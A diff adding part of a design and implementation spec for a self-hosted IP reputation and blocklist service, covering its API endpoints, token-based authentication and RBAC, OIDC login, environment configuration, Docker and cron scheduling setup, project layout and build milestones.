+1. Acquires the `recompute-scores` lock with a max runtime of e.g. 4 minutes. If the lock is held, returns `409 Conflict` with status `skipped_locked` and exits immediately.
+2. Finds all `(ip_bin, category_id)` pairs touched by reports in the last interval **plus** all rows whose `recomputed_at` is older than a "freshness" window (default 1 hour) — capped at N rows per cycle to bound execution time.
+3. Recomputes and upserts into `ip_scores`.
+4. Drops rows where score < 0.01 and last report > 90 days ago.
+5. Records a `job_runs` entry, then releases the lock.
+
+A full-table recompute is also runnable on demand from the UI ("Rebuild scores"), which calls the same job with a `full=true` flag and a longer max runtime.
+
+### Manual override semantics
+
+`manual_blocks` and `allowlist` are evaluated at distribution time, not folded into scores. Allowlist always wins over everything (including manual blocks — log a warning if both match).
+
+---
+
+## 6. API Contracts
+
+The `api` container exposes four logical groups of endpoints, distinguished by audience and authentication:
+
+| Group        | Path prefix                | Audience              | Auth                                                           |
+|--------------|----------------------------|-----------------------|----------------------------------------------------------------|
+| Public       | `/api/v1/report`, `/api/v1/blocklist` | Machine clients (reporters, consumers) | Bearer (`reporter` or `consumer` token kind) |
+| Admin        | `/api/v1/admin/*`          | UI BFF, admin Bearer tokens | Service token + `X-Acting-User-Id`, OR Bearer (`admin` kind) |
+| Auth         | `/api/v1/auth/*`           | UI BFF only           | Service token                                                  |
+| Internal     | `/internal/jobs/*`         | Scheduler             | `INTERNAL_JOB_TOKEN`, network-restricted                       |
+
+All responses JSON unless stated. All endpoints require `Authorization: Bearer <token>` unless explicitly public. Rate limit: 60 req/s per token (token-bucket), configurable. Return `429` with `Retry-After`.
+
+### Authentication tokens — three kinds
+
+The `api_tokens` table's `kind` column gains two new values beyond `reporter` and `consumer`:
+
+- `reporter` — may call `POST /api/v1/report`. Bound to a reporter record.
+- `consumer` — may call `GET /api/v1/blocklist`. Bound to a consumer record.
+- `admin` — may call any `/api/v1/admin/*` endpoint as itself. For administrators or automation that doesn't go through the UI. Not bound to a reporter or consumer.
+- `service` — special class. Held by the `ui` container. Calls to `/api/v1/admin/*` and `/api/v1/auth/*` MUST include `X-Acting-User-Id: <user_id>`; the API verifies the user exists and applies RBAC for that user. There is exactly one `service` token at a time, set via `UI_SERVICE_TOKEN` env var on both containers; if it doesn't exist on startup the `api` container creates it. Service tokens are never returned in admin token-list endpoints.
+
+### Public API — machine clients
+
+**`POST /api/v1/report`** — token must be `kind=reporter`
+```json
+{
+  "ip": "203.0.113.42",
+  "category": "brute_force",
+  "metadata": { "url": "/wp-login.php", "ua": "..." }
+}
+```
+Response `202`:
+```json
+{ "report_id": 12345, "ip": "203.0.113.42", "received_at": "2026-04-27T10:11:12Z" }
+```
+Errors: `400` invalid IP/category, `401` bad token, `403` token revoked, `429` rate limited.
+
+**`GET /api/v1/blocklist`** — token must be `kind=consumer`. Returns `text/plain`, one entry per line: bare IP or CIDR. No comments by default. Cached internally for 30 seconds per consumer.
+
+Headers:
+- `ETag`: hash of body. Honor `If-None-Match` → `304`.
+- `X-Blocklist-Generated-At`, `X-Blocklist-Entries`, `X-Blocklist-Policy`.
+
+`GET /api/v1/blocklist?format=json` — convenience: array of `{ip_or_cidr, categories, score, reason}`.
+
+### Admin API — used by UI BFF and admin tokens
+
+All endpoints accept either:
+- `Authorization: Bearer <admin-kind-token>` — RBAC role determined by the token's configured role, OR
+- `Authorization: Bearer <UI_SERVICE_TOKEN>` + `X-Acting-User-Id: <user_id>` — RBAC role determined by the user record.
+
+Endpoints (representative, not exhaustive — see OpenAPI):
+- `GET /api/v1/admin/me` — current acting identity: `{user_id, email, display_name, role, source: "oidc"|"local"|"admin-token"}`
+- `GET /api/v1/admin/ips/{ip}` — full detail: scores per category, recent reports, manual block status, allowlist status, enrichment, history.
+- `GET /api/v1/admin/ips?q=&category=&min_score=&country=&asn=&page=` — search.
+- `POST/DELETE /api/v1/admin/manual-blocks`, `POST/DELETE /api/v1/admin/allowlist`
+- `GET/POST/PATCH/DELETE /api/v1/admin/policies`, `/policies/{id}/thresholds`
+- `GET/POST/DELETE /api/v1/admin/reporters`, `/consumers`, `/tokens`, `/categories`
+- `GET/POST/PATCH/DELETE /api/v1/admin/users`, `/oidc-role-mappings`
+- `GET /api/v1/admin/audit-log`
+- `POST /api/v1/admin/jobs/trigger/{job_name}` — admin-only thin wrapper that calls `/internal/jobs/<name>` server-side. The UI uses this to trigger manual jobs without needing the internal token.
+
+### Auth API — exclusively for UI BFF
+
+These are how the `ui` container resolves a browser-authenticated user (OIDC or local) into a stable user record. Always called with the service token.
+
+**`POST /api/v1/auth/users/upsert-oidc`**
+```json
+{
+  "subject": "...",
+  "email": "...",
+  "display_name": "...",
+  "groups": ["group-id-1", "group-id-2"]
+}
+```
+Returns `{user_id, role, email, display_name, is_local: false}`. API derives role from `oidc_role_mappings`; default applies if no match.
+
+**`POST /api/v1/auth/users/upsert-local`**
+```json
+{ "username": "admin" }
+```
+The UI calls this only after validating the local admin password against its own env config. Returns `{user_id, role: "admin", email: null, display_name: "Local Admin", is_local: true}`.
+
+**`GET /api/v1/auth/users/{id}`** — used by UI to refresh user info during a session.
+
+### Internal Jobs API
+
+Used by the scheduler (host cron / systemd / sidecar) to drive periodic batch work. Bound only to loopback and the Docker bridge network in the Caddyfile — never reachable from outside, even with a token. Bearer token: `INTERNAL_JOB_TOKEN` env var.
+
+All endpoints share the same response envelope:
+```json
+{ "job": "recompute-scores", "status": "success", "items_processed": 1284, "duration_ms": 8421, "run_id": 42 }
+```
+
+- `POST /internal/jobs/recompute-scores` — body optional: `{"full": true, "max_rows": 5000}`. Returns `202` on success, `409` if lock held (`status: "skipped_locked"`), `500` on failure.
+- `POST /internal/jobs/refresh-geoip` — downloads fresh GeoLite2 DBs if `MAXMIND_LICENSE_KEY` is set; otherwise returns `412 Precondition Failed`.
+- `POST /internal/jobs/cleanup-audit` — prunes audit log older than retention window.
+- `POST /internal/jobs/enrich-pending` — runs GeoIP/ASN enrichment for IPs missing it.
+- `POST /internal/jobs/tick` — convenience: examines `job_runs` and invokes any job whose interval has elapsed.
+- `GET  /internal/jobs/status` — JSON: latest `job_runs` row per job, lock state, "is overdue" flag.
+
+Each endpoint always writes a `job_runs` row, even on lock-skip and failure.
+
+Bound endpoints in `Caddyfile`:
+```caddy
+@internal {
+    path /internal/*
+    remote_ip 127.0.0.1/32 ::1/128
+}
+handle @internal {
+    php
+}
+@external_internal_blocked {
+    path /internal/*
+    not remote_ip 127.0.0.1/32 ::1/128
+}
+respond @external_internal_blocked 404
+```
+
+The default loopback-only matcher (and the matching default in
+`InternalNetworkMiddleware`) is the post-F25 hardening: trusting the
+entire RFC1918 universe meant any docker-bridge neighbour could reach
+`:8081` from a private IP and forge `REMOTE_ADDR` via XFF. The bundled
+`compose.scheduler.yml` joins the api's network namespace
+(`network_mode: "service:api"`) so its tick calls land on `127.0.0.1`;
+host-cron / systemd timer deployments target `localhost`. Production
+topologies that genuinely need extra source CIDRs list them in the
+`INTERNAL_CIDR_ALLOWLIST` env var (PHP) AND mirror them into the
+Caddyfile matcher above.
+
+The OpenAPI document includes Public and Admin groups. Auth and Internal endpoints are documented separately in `doc/auth-flows.md` (they are not part of the public contract — frontends call Admin endpoints).
+
+### CORS
+
+The `api` container sets CORS headers permitting the configured `UI_ORIGIN` only, with `Access-Control-Allow-Credentials: true` and the `X-Acting-User-Id` header on the allow-list. This matters for any future browser-direct frontend; the current PHP UI calls server-to-server and doesn't trigger CORS.
+
+### OpenAPI
+
+Generate `openapi.yaml` at `/api/v1/openapi.yaml`. Serve a Stoplight Elements or RapiDoc viewer at `/api/docs`. Document all Public and Admin endpoints with full request/response schemas and auth requirements.
+
+---
+
+## 7. UI Container (PHP+Twig BFF)
+
+The `ui` container is a thin Backend-for-Frontend. It owns the browser-facing experience; it does not own any data. Every screen is rendered by fetching from the `api` container with the service token plus the acting user's ID, and every form action is forwarded as a corresponding `api` call.
+
+### Responsibilities
+
+The `ui` container owns:
+- Browser sessions (PHP native, file-backed inside the container)
+- The OIDC redirect/callback flow (it holds the OIDC client config)
+- The local admin login form and password validation against env config
+- All HTML rendering (Twig + Tailwind + Alpine + htmx)
+- Static asset serving
+- Anti-CSRF for its own forms
+- Light/dark mode preference (in the user's browser localStorage)
+
+The `ui` container does **not**:
+- Connect to the database
+- Implement business logic
+- Compute reputation scores
+- Hold any persistent data
+- Decide RBAC outcomes (it asks the API; the API decides)
+
+### Public routes
+
+- `GET  /` — redirect to `/login` if not signed in, else `/dashboard`
+- `GET  /login` — login page
+- `POST /login/local` — local admin form submission
+- `GET  /login/oidc` — initiate OIDC flow
+- `GET  /oidc/callback` — OIDC callback
+- `POST /logout`
+- `GET  /healthz` — UI's own health: `{status, api_reachable: bool, last_api_check_at}`. Does not depend on the API being up to return 200.
+
+### Authenticated routes
+
+All under `/app/*`. Top nav (logo, search box, dark-mode toggle, user menu) + sidebar (Dashboard, IPs, Subnets, Allowlist, Policies, Reporters, Consumers, Tokens, Categories, Audit, Settings).
+
+### Pages (data sources annotated)
+
+- **Dashboard** — `GET /api/v1/admin/stats/dashboard` (UI controllers should never assemble dashboards from multiple admin calls; the API exposes purpose-built endpoints).
+- **IPs** — `GET /api/v1/admin/ips?...` paginated list. **IP Detail** — `GET /api/v1/admin/ips/{ip}`.
+- **Subnets / Allowlist** — `GET/POST/DELETE /api/v1/admin/{manual-blocks,allowlist}`.
+- **Policies** — `GET/POST/PATCH /api/v1/admin/policies` and `/policies/{id}/thresholds`. Threshold matrix editor; preview of resulting blocklist count via `GET /api/v1/admin/policies/{id}/preview`.
+- **Reporters / Consumers / Tokens** — CRUD via admin endpoints. Token creation shows the raw token **once** in a modal with a copy button.
+- **Categories** — CRUD with decay function picker (linear / exponential) and decay parameter input with live preview chart (preview is local-only JS, no API call needed).
+- **Audit** — `GET /api/v1/admin/audit-log`, filterable.
+- **Settings** — `GET /api/v1/admin/jobs/status` and `GET /api/v1/admin/config` (returns effective config with secrets masked). Admin-only manual job triggers via `POST /api/v1/admin/jobs/trigger/{name}`.
+
+### Identity resolution flow (login)
+
+**Local admin**:
+1. User submits `/login/local` form.
+2. UI verifies password against `LOCAL_ADMIN_PASSWORD_HASH` (Argon2id, in UI env).
+3. UI calls `POST /api/v1/auth/users/upsert-local` with the username.
+4. UI stores the returned `user_id` in the session.
+
+**OIDC**:
+1. User clicks "Sign in with Microsoft".
+2. UI starts authorization-code-with-PKCE flow against Entra.
+3. Callback arrives; UI exchanges code, validates ID token, extracts `sub`, `email`, `name`, `groups`.
+4. UI calls `POST /api/v1/auth/users/upsert-oidc`.
+5. UI stores the returned `user_id` in the session.
+
+The session contains: `user_id`, `display_name`, `role` (cached from the upsert response), `expires_at`. On every request the UI sets `Authorization: Bearer <UI_SERVICE_TOKEN>` and `X-Acting-User-Id: <user_id>` when calling the API.
+
+### UX requirements
+
+- Light/dark mode toggle in top nav, persisted in `localStorage`, defaults to system preference. Tailwind `dark:` variant; CSS variables for accent.
+- Modern look: generous whitespace, rounded-xl, subtle shadows, monospace for IPs/tokens, color-coded category chips.
+- All destructive actions confirm via modal.
+- Mobile-responsive (sidebar collapses to drawer below `md`).
+- All forms server-validated by surfacing the API's validation errors; show inline.
+- No client-side framework heavier than Alpine.js.
+- API errors render as toast notifications, never raw JSON.
+- Dates and times render in the browser's locale (via `Intl.DateTimeFormat`). Templates emit ISO 8601 UTC inside `<time class="irdb-dt" datetime="…">…</time>`; a small client-side pass replaces the text content on load and after htmx swaps. Deployments can configure a `UI_LOCALE` BCP 47 fallback that's appended after the browser's preference.
+
+### RBAC matrix
+
+Identical to before. The UI does **not** enforce RBAC by hiding buttons alone — the API is the source of truth. The UI does hide UI elements the user can't use, but treats this as cosmetic; security comes from the API rejecting unauthorized calls.
+
+| Action                             | viewer | operator | admin |
+|------------------------------------|:------:|:--------:|:-----:|
+| View IPs / scores / history        |   ✓    |    ✓     |   ✓   |
+| Create / remove manual blocks      |        |    ✓     |   ✓   |
+| Manage allowlist                   |        |    ✓     |   ✓   |
+| Manage policies / categories       |        |          |   ✓   |
+| Manage reporters / consumers       |        |          |   ✓   |
+| Manage tokens                      |        |          |   ✓   |
+| Manage users / role mappings       |        |          |   ✓   |
+| Trigger manual jobs                |        |          |   ✓   |
+| View audit log                     |   ✓    |    ✓     |   ✓   |
+
+---
+
+## 8. Authentication & Authorization
+
+Authentication is split between the two containers along clean lines:
+
+- **`api`** owns: validation of all token kinds (reporter, consumer, admin, service); the `users`, `oidc_role_mappings`, and `api_tokens` tables; RBAC enforcement on every admin endpoint.
+- **`ui`** owns: browser sessions; the OIDC redirect/callback flow; local admin password validation; rendering of login forms.
+
+### Token kinds (all stored in `api_tokens`, hashed at rest)
+
+- **`reporter`** — calls `POST /api/v1/report`. Bound to a reporter record.
+- **`consumer`** — calls `GET /api/v1/blocklist`. Bound to a consumer record.
+- **`admin`** — calls `/api/v1/admin/*` directly. Bound to a configured role (`viewer` / `operator` / `admin`). For automation that doesn't go through the UI.
+- **`service`** — calls `/api/v1/admin/*` and `/api/v1/auth/*` with `X-Acting-User-Id`. Held by the `ui` container and never exposed to humans.
+
+Token format: `irdb_<kind>_<32-char-base32>` (e.g. `irdb_rep_ABCD…`, `irdb_con_…`, `irdb_adm_…`, `irdb_svc_…`). The kind prefix aids ops/log triage; auth still validates against the hashed full token. Service tokens never appear in the UI's token list.
+
+### How the UI authenticates the browser user (BFF flow)
+
+#### Microsoft Entra ID (OIDC) — handled in `ui`
+- Standard authorization-code flow with PKCE.
+- Required scopes: `openid profile email`. Plus the `groups` claim (preferred via Entra app config, not the Graph API).
+- The UI validates the ID token (signature, issuer, audience, expiry, nonce) using the JWKS endpoint.
+- On successful validation, the UI calls `POST /api/v1/auth/users/upsert-oidc`. The API resolves the role from `oidc_role_mappings` (or `OIDC_DEFAULT_ROLE` if no group matches; set to `none` to deny login). The UI stores the returned `user_id` in the session.
+
+#### Local admin — handled in `ui`
+- `LOCAL_ADMIN_ENABLED`, `LOCAL_ADMIN_USERNAME`, `LOCAL_ADMIN_PASSWORD_HASH` are env vars on the `ui` container only.
+- UI validates the password against the Argon2id hash, then calls `POST /api/v1/auth/users/upsert-local`.
+- Local admin always has `admin` role.
+- Login form at `/login` shows two options: "Sign in with Microsoft" (primary) and "Local sign-in" (collapsed by default; hidden entirely if `LOCAL_ADMIN_ENABLED=false`).
+- Sessions: PHP native, file-backed inside the container, `SameSite=Lax`, `Secure` when `APP_ENV=production`. Sessions are tied to a specific UI replica — sticky sessions required when scaling UI horizontally (which is unusual; UI is typically single-replica).
+
+### How the API authenticates calls from the UI
+
+Every UI-originated API call carries:
+```
+Authorization: Bearer <UI_SERVICE_TOKEN>
+X-Acting-User-Id: <user_id>
+```
+
+The API:
+1. Validates the service token.
+2. Looks up the user by id; rejects `404` if not found, `403` if the user is disabled.
+3. Applies RBAC for that user's role.
+4. Logs the resulting action in `audit_log` with `actor_kind=user`, `actor_id=<user_id>` (NOT the service token).
+
+`X-Acting-User-Id` is **only** trusted in combination with the service token. It's ignored on calls authenticated with other token kinds.
+
+### RBAC enforcement
+
+The API has a single `RbacMiddleware` that runs after authentication. Each admin endpoint declares the required role. The middleware checks the resolved role (from the user record or admin token) against the requirement and returns `403` on mismatch.
+
+The UI also conditionally renders elements based on the cached role in the session, but this is purely cosmetic. Anything important is enforced server-side.
+
+### CSRF
+
+- UI forms: per-session CSRF token on every state-changing form. Validated by UI middleware before forwarding to the API.
+- API: stateless, Bearer-authenticated, CSRF-exempt.
+
+---
+
+## 9. Configuration
+
+Single `.env` file at the repo root, consumed by docker-compose. Each container reads only the variables it needs.
+
+### Shared (both containers)
+```dotenv
+# A 32-byte hex string. Used by api to authenticate the ui's calls.
+# Generate with: openssl rand -hex 32
+UI_SERVICE_TOKEN=
+```
+
+### `api` container
+```dotenv
+APP_ENV=production           # development | production
+LOG_LEVEL=info
+APP_SECRET=                  # 32-byte hex; used internally for signing things like ETags
+
+# Database
+DB_DRIVER=sqlite             # sqlite | mysql
+DB_SQLITE_PATH=/data/irdb.sqlite
+DB_MYSQL_HOST=
+DB_MYSQL_PORT=3306
+DB_MYSQL_DATABASE=
+DB_MYSQL_USERNAME=
+DB_MYSQL_PASSWORD=
+
+# OIDC role mapping (defaults applied if no group mapping matches)
+OIDC_DEFAULT_ROLE=viewer     # viewer | none
+
+# Reputation engine
+SCORE_RECOMPUTE_INTERVAL_SECONDS=300
+SCORE_REPORT_HARD_CUTOFF_DAYS=365
+
+# Internal jobs
+INTERNAL_JOB_TOKEN=                       # 32-byte hex
+JOB_RECOMPUTE_MAX_RUNTIME_SECONDS=240
+JOB_RECOMPUTE_MAX_ROWS_PER_TICK=5000
+JOB_AUDIT_RETENTION_DAYS=180
+JOB_GEOIP_REFRESH_INTERVAL_DAYS=7
+
+# GeoIP
+GEOIP_ENABLED=true
+GEOIP_COUNTRY_DB=/data/geoip/GeoLite2-Country.mmdb
+GEOIP_ASN_DB=/data/geoip/GeoLite2-ASN.mmdb
+MAXMIND_LICENSE_KEY=
+
+# CORS — origin of the ui container (or future SPA frontend)
+UI_ORIGIN=http://localhost:8080
+
+# Rate limiting (public API)
+API_RATE_LIMIT_PER_SECOND=60
+```
+
+### `ui` container
+```dotenv
+APP_ENV=production
+LOG_LEVEL=info
+UI_SECRET=                   # 32-byte hex; signs session cookies
+PUBLIC_URL=http://localhost:8080
+
+# Where the ui finds the api (internal docker network DNS)
+API_BASE_URL=http://api:8081
+
+# OIDC (Entra ID) — lives in ui only
+OIDC_ENABLED=true
+OIDC_ISSUER=https://login.microsoftonline.com/<tenant>/v2.0
+OIDC_CLIENT_ID=
+OIDC_CLIENT_SECRET=
+OIDC_REDIRECT_URI=https://reputation.example.com/oidc/callback
+
+# Local admin — lives in ui only
+LOCAL_ADMIN_ENABLED=true
+LOCAL_ADMIN_USERNAME=admin
+LOCAL_ADMIN_PASSWORD_HASH=
+
+# Optional BCP 47 locale fallback for date/time formatting (e.g. de-CH,
+# en-GB). Browser locale wins; this is the fallback when unsupported.
+# Empty = browser-only.
+UI_LOCALE=
+```
+
+A complete `.env.example` documents every variable with comments. The README walks through generating the secrets.
+
+---
+
+## 10. Docker
+
+**Two images, one repo.** The `api` and `ui` are built independently from `api/Dockerfile` and `ui/Dockerfile`. They run as separate compose services. Periodic batch work in the `api` is triggered by an external scheduler hitting `/internal/jobs/*`. An optional sidecar overlay provides scheduling for users who don't want host cron.
+
+### Images
+
+**`api/Dockerfile`** (multi-stage):
+1. `composer:2` stage — `composer install --no-dev --optimize-autoloader`.
+2. Final `dunglas/frankenphp:1-php8.3-alpine` — install required PHP extensions (`pdo_sqlite`, `pdo_mysql`, `mbstring`, `intl`, `opcache`, `bcmath`), copy app + vendor, configure FrankenPHP via `api/docker/Caddyfile`. GeoLite2 download happens at build time if `MAXMIND_LICENSE_KEY` build-arg is provided.
+- `ENTRYPOINT` is `api/docker/entrypoint.sh` — dispatcher with modes `api` (default), `migrate`.
+
+**`ui/Dockerfile`** (multi-stage):
+1. `node:20-alpine` stage — `npm ci && npm run build` produces `public/assets/app.css` and `public/assets/app.js`.
+2. `composer:2` stage — `composer install --no-dev --optimize-autoloader`.
+3. Final `dunglas/frankenphp:1-php8.3-alpine` — install `mbstring`, `intl`, `opcache`, copy app + assets + vendor, configure via `ui/docker/Caddyfile`.
+- `ENTRYPOINT` is `ui/docker/entrypoint.sh` — single mode (`ui`), no migrations.
+
+### Containers
+
+**`api`** — JSON backend on `:8081`
+- Healthcheck: `GET /healthz` returns 200 with `{status, db, jobs: {...}}`.
+- Stateless when using MySQL; can be scaled to N replicas.
+
+**`ui`** — BFF on `:8080`
+- Healthcheck: `GET /healthz` returns 200 with `{status, api_reachable, last_api_check_at}`. Returns 200 even if the api is briefly unreachable (the UI renders degraded states).
+- Single replica is recommended (sticky sessions otherwise).
+
+**`migrate`** — one-shot, runs Phinx migrations against the api's database, seeds defaults, ensures the service token exists, then exits 0.
+- Built from `api/Dockerfile`, command `migrate`.
+- `restart: "no"` in compose.
+
+### docker-compose.yml (canonical, host-driven scheduler)
+
+```yaml
+services:
+  migrate:
+    image: irdb-api:latest
+    build: { context: ./api }
+    command: migrate
+    env_file: .env
+    volumes:
+      - irdb-data:/data
+    restart: "no"
+
+  api:
+    image: irdb-api:latest
+    command: api
+    env_file: .env
+    ports:
+      - "8081:8081"
+    volumes:
+      - irdb-data:/data
+    depends_on:
+      migrate:
+        condition: service_completed_successfully
+    healthcheck:
+      test: ["CMD", "wget", "-qO-", "http://localhost:8081/healthz"]
+      interval: 30s
+      timeout: 5s
+      retries: 3
+    restart: unless-stopped
+
+  ui:
+    image: irdb-ui:latest
+    build: { context: ./ui }
+    env_file: .env
+    ports:
+      - "8080:8080"
+    depends_on:
+      api:
+        condition: service_healthy
+    healthcheck:
+      test: ["CMD", "wget", "-qO-", "http://localhost:8080/healthz"]
+      interval: 30s
+      timeout: 5s
+      retries: 3
+    restart: unless-stopped
+
+  # Uncomment to use MySQL. Also set DB_DRIVER=mysql in .env.
+  # mysql:
+  #   image: mysql:8
+  #   environment:
+  #     MYSQL_DATABASE: ${DB_MYSQL_DATABASE}
+  #     MYSQL_USER: ${DB_MYSQL_USERNAME}
+  #     MYSQL_PASSWORD: ${DB_MYSQL_PASSWORD}
+  #     MYSQL_ROOT_PASSWORD: ${DB_MYSQL_ROOT_PASSWORD}
+  #   volumes:
+  #     - mysql-data:/var/lib/mysql
+  #   healthcheck:
+  #     test: ["CMD", "mysqladmin", "ping", "-h", "localhost"]
+  #     interval: 10s
+  #     timeout: 5s
+  #     retries: 10
+  #   restart: unless-stopped
+
+volumes:
+  irdb-data:
+  # mysql-data:
+```
+
+### Scheduling — three documented options
+
+**Option A: Host cron (recommended for VM deployments)**
+```cron
+* * * * * curl -sf -m 280 -X POST -H "Authorization: Bearer $INTERNAL_JOB_TOKEN" http://localhost:8081/internal/jobs/tick > /dev/null
+```
+
+**Option B: systemd timer**
+
+Provide `examples/scheduler/irdb-tick.service` and `examples/scheduler/irdb-tick.timer`. Documented in README.
+
+**Option C: Sidecar overlay (`compose.scheduler.yml`)**
+
+Built from `scheduler/Dockerfile` (digest-pinned alpine + pinned curl/tini
+versions installed at build time, schedule baked into the image — see
+SEC_REVIEW F22 for why the previous floating-tag + runtime-apk pattern
+was retired).
+
+```yaml
+services:
+  scheduler:
+    image: irdb-scheduler:latest
+    build: { context: ./scheduler }
+    environment:
+      INTERNAL_JOB_TOKEN: ${INTERNAL_JOB_TOKEN}
+    # SEC_REVIEW F25: share the api's network namespace so the crontab
+    # can hit /internal/jobs/tick over loopback. The api's /internal/*
+    # gate is restricted to 127.0.0.1/::1 on both Caddy and PHP layers
+    # to keep docker-bridge neighbours out.
+    network_mode: "service:api"
+    read_only: true
+    tmpfs:
+      - /run:mode=0755
+      - /tmp:mode=1777
+    security_opt:
+      - no-new-privileges:true
+    depends_on:
+      api:
+        condition: service_healthy
+    restart: unless-stopped
+```
+
+`scheduler/scheduler.crontab` (baked into the image):
+```cron
+* * * * * curl -sf -m 280 -X POST -H "Authorization: Bearer $INTERNAL_JOB_TOKEN" http://localhost:8081/internal/jobs/tick > /dev/null
+```
+
+Started with: `docker compose -f docker-compose.yml -f compose.scheduler.yml up -d`.
+
+### SQLite on a shared volume — known constraint
+
+The `api` container writes to `/data/irdb.sqlite` through the `irdb-data` volume. SQLite's WAL mode handles this correctly on a **local** Docker volume. It does **not** work reliably on networked storage (NFS, SMB, EFS). The README must call this out and recommend MySQL for any deployment using networked storage or multiple hosts.
+
+On every connection startup the `api` sets:
+```sql
+PRAGMA journal_mode = WAL;
+PRAGMA synchronous = NORMAL;
+PRAGMA busy_timeout = 5000;
+PRAGMA foreign_keys = ON;
+```
+
+The `ui` container does not touch the volume; the volume is exclusively the api's.
+
+### Scaling notes
+
+- With **MySQL**, `api` is stateless and can be replicated (`docker compose up --scale api=3` behind a load balancer). The scheduler fires against the LB; `job_locks` ensures only one replica actually runs each job.
+- With **SQLite**, do not scale `api` beyond 1; vertical scaling only.
+- `ui` is typically single-replica due to local-file sessions. To scale, either: (a) use sticky sessions at the LB, or (b) replace the UI with a future stateless frontend (out of scope).
+
+### Reverse proxy in production
+
+For production, users typically front both containers with nginx/Caddy/Traefik on the host. A representative Caddy config is provided in `examples/reverse-proxy/`:
+```
+reputation.example.com        → ui:8080
+reputation-api.example.com    → api:8081
+```
+
+Single-hostname routing (e.g. everything under `reputation.example.com` with `/api/*` → api, `/*` → ui) also works and is documented as an alternative. The browser must reach the UI; firewalls/reporters reach the API.
+
+---
+
+## 11. Project Structure
+
+Monorepo. Each container has its own subdirectory with its own `composer.json`, tests, and Dockerfile. Documentation lives at the root in `doc/`. Examples and shared compose files at the root.
+
+```
+.
+├── README.md                        # quickstart, links to doc/
+├── PLAN.md                          # written first, before coding
+├── PROGRESS.md                      # updated after each milestone
+├── docker-compose.yml
+├── compose.scheduler.yml
+├── .env.example
+│
+├── doc/                             # ★ first-class documentation, see §17
+│   ├── architecture.md
+│   ├── api-overview.md
+│   ├── auth-flows.md
+│   ├── frontend-development.md
+│   └── api-reference.md
+│
+├── examples/
+│   ├── reporters/                   # curl, python, bash sample report scripts
+│   ├── consumers/                   # iptables-restore, nginx include, HAProxy ACL
+│   ├── scheduler/
+│   │   ├── host.crontab
+│   │   ├── irdb-tick.service
+│   │   └── irdb-tick.timer
+│   └── reverse-proxy/
+│       └── Caddyfile
+│
+├── scheduler/                       # ─────── scheduler sidecar ───────
+│   ├── Dockerfile                   # alpine + curl + busybox crond, all pinned at build time
+│   └── scheduler.crontab            # canonical schedule baked into the image
+│
+├── api/                             # ─────── api container ───────
+│   ├── Dockerfile
+│   ├── composer.json
+│   ├── phpunit.xml
+│   ├── phpstan.neon
+│   ├── bin/
+│   │   └── console                  # CLI: migrate, seed, scores:rebuild, jobs:run <name>, tokens:create
+│   ├── config/
+│   │   ├── settings.php
+│   │   └── phinx.php
+│   ├── db/
+│   │   ├── migrations/
+│   │   └── seeds/
+│   ├── docker/
+│   │   ├── Caddyfile                # /api/v1/* public, /internal/* network-restricted
+│   │   └── entrypoint.sh            # modes: api | migrate
+│   ├── public/
+│   │   └── index.php                # Slim entry
+│   ├── src/
+│   │   ├── App/
+│   │   │   ├── Bootstrap.php
+│   │   │   ├── Container.php
+│   │   │   └── Routes.php
+│   │   ├── Domain/
+│   │   │   ├── Reputation/          # scoring, decay, policy evaluator
+│   │   │   ├── Ip/                  # parsing, normalization, CIDR ops
+│   │   │   ├── Enrichment/          # MaxMind wrapper
+│   │   │   └── Audit/
+│   │   ├── Infrastructure/
+│   │   │   ├── Db/                  # DBAL, repositories
+│   │   │   ├── Auth/                # token resolver, role mapper, RBAC middleware
+│   │   │   ├── Http/                # middlewares (auth, rate limit, CORS, internal-only, error handler)
+│   │   │   └── Jobs/                # job runner, locks, tick dispatcher, individual jobs
+│   │   ├── Application/
+│   │   │   ├── Public/              # /api/v1/{report,blocklist}
+│   │   │   ├── Admin/               # /api/v1/admin/*
+│   │   │   ├── Auth/                # /api/v1/auth/* (UI BFF only)
+│   │   │   └── Internal/            # /internal/jobs/*
+│   │   └── Support/
+│   └── tests/
+│       ├── Unit/
+│       ├── Integration/             # spins up Slim app with in-memory SQLite
+│       └── Fixtures/
+│
+└── ui/                              # ─────── ui container ───────
+    ├── Dockerfile
+    ├── composer.json
+    ├── package.json
+    ├── tailwind.config.js
+    ├── postcss.config.js
+    ├── phpunit.xml
+    ├── phpstan.neon
+    ├── docker/
+    │   ├── Caddyfile
+    │   └── entrypoint.sh
+    ├── public/
+    │   ├── index.php                # Slim entry
+    │   └── assets/                  # built CSS/JS
+    ├── resources/
+    │   ├── css/app.css
+    │   ├── js/app.js
+    │   └── views/                   # Twig templates
+    │       ├── layout.twig
+    │       ├── pages/
+    │       │   ├── login.twig
+    │       │   ├── dashboard.twig
+    │       │   ├── ips/
+    │       │   ├── policies/
+    │       │   ├── tokens/
+    │       │   ├── audit.twig
+    │       │   └── settings.twig
+    │       └── partials/
+    ├── src/
+    │   ├── App/
+    │   │   ├── Bootstrap.php
+    │   │   ├── Container.php
+    │   │   └── Routes.php
+    │   ├── ApiClient/                # Guzzle-based; one method per endpoint group
+    │   │   ├── ApiClient.php
+    │   │   ├── AdminClient.php
+    │   │   ├── AuthClient.php
+    │   │   └── DTOs/
+    │   ├── Auth/
+    │   │   ├── OidcController.php
+    │   │   ├── LocalLoginController.php
+    │   │   ├── SessionManager.php
+    │   │   └── ImpersonationHeaderMiddleware.php
+    │   ├── Controllers/              # one per UI section; thin, calls ApiClient
+    │   ├── Http/                     # CSRF, error handler, flash messages
+    │   └── Support/
+    └── tests/
+        ├── Unit/
+        └── Integration/              # spins up ui Slim app with mocked ApiClient
+```
+
+---
+
+## 12. Implementation Milestones
+
+Execute in order. After each milestone: run tests, run linter, commit with a clear message, and update `PROGRESS.md` with a one-paragraph summary. Do not start the next milestone until the current one passes its acceptance criteria.
+
+### M1 — Monorepo skeleton & toolchain
+- Repo layout from §11. Both `api/composer.json` and `ui/composer.json` boot a Slim app. `ui/package.json` builds Tailwind. Both PHPUnit suites run (empty). `api/Dockerfile`, `ui/Dockerfile`, `docker-compose.yml`, root `.env.example`.
+- All three services build and start under compose. `api` returns a placeholder `/healthz`. `ui` returns a placeholder `/healthz` and shows a "hello" page. `migrate` runs an empty Phinx set and exits 0.
+- **Done when**: `docker compose build` succeeds; `docker compose up` brings api and ui to healthy and migrate exited 0; both `phpunit` runs pass; CI runs `phpstan` and `php-cs-fixer --dry-run` on both subprojects.
+
+### M2 — Database & migrations (api)
+- DBAL configured for SQLite + MySQL. Phinx migrations for every table in §4 (including `job_locks`, `job_runs`). Seeds for default categories and policies (`strict`, `moderate`, `paranoid`).
